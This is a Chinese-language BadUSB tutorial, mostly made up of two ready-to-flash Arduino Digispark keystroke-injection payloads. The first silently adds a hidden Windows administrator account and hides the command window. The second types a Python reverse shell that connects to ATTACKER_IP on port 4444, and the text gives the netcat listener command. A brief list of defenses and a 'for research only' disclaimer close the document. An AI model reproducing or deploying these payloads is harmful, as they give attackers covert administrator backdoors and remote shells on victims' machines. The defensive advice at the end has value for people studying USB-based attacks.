BadUSB 是一种利用 USB 设备的固件漏洞，伪装成键盘输入恶意指令的攻击方式。以下是两个典型场景的示例代码（请仅用于学习研究，禁止非法使用）：

场景1：Windows 系统提权后门 (Arduino Digispark)

#include <DigiKeyboard.h>

void setup() {
  DigiKeyboard.sendKeyStroke(0); // 初始化
  DigiKeyboard.delay(500);

  // 打开cmd（管理员权限）
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win+R
  DigiKeyboard.delay(300);
  DigiKeyboard.print("cmd /k mode con: cols=15 lines=1");
  DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_ALT_LEFT | MOD_SHIFT_LEFT);
  DigiKeyboard.delay(800);

  // 添加隐藏管理员账户
  DigiKeyboard.print("net user eviladmin MyP@ssw0rd! /add /y");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);
  DigiKeyboard.print("net localgroup administrators eviladmin /add");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);

  // 隐藏执行痕迹
  DigiKeyboard.print("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {} // 仅执行一次

攻击效果：

1. 静默创建管理员账户 eviladmin，密码 MyP@ssw0rd!
2. 窗口伪装成单行模式减少注意
3. 自动关闭CMD窗口

场景2：Linux 反向 Shell (Python + Bash)

#include <DigiKeyboard.h>

void setup() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(1000);

  // 打开终端 (Ubuntu/Debian)
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("python3 -c 'import socket,subprocess,os;");
  DigiKeyboard.print("s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);");
  DigiKeyboard.print("s.connect((\"ATTACKER_IP\",4444));");
  DigiKeyboard.print("os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);");
  DigiKeyboard.print("subprocess.call([\"/bin/sh\",\"-i\"])'");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {}

替换参数：

• ATTACKER_IP → 攻击者服务器IP
• 需在攻击端用 nc -lvp 4444 监听

防御建议（针对受害者）：

1. 禁用自动运行：组策略中关闭USB自动执行
2. 设备白名单：使用USB管理软件限制未知设备
3. 物理防护：重要设备禁用USB接口或用Kensington锁
4. 权限控制：日常使用非管理员账户

⚠️ 重要提醒：上述代码演示攻击原理，实际使用违反法律。安全研究需在授权环境下进行。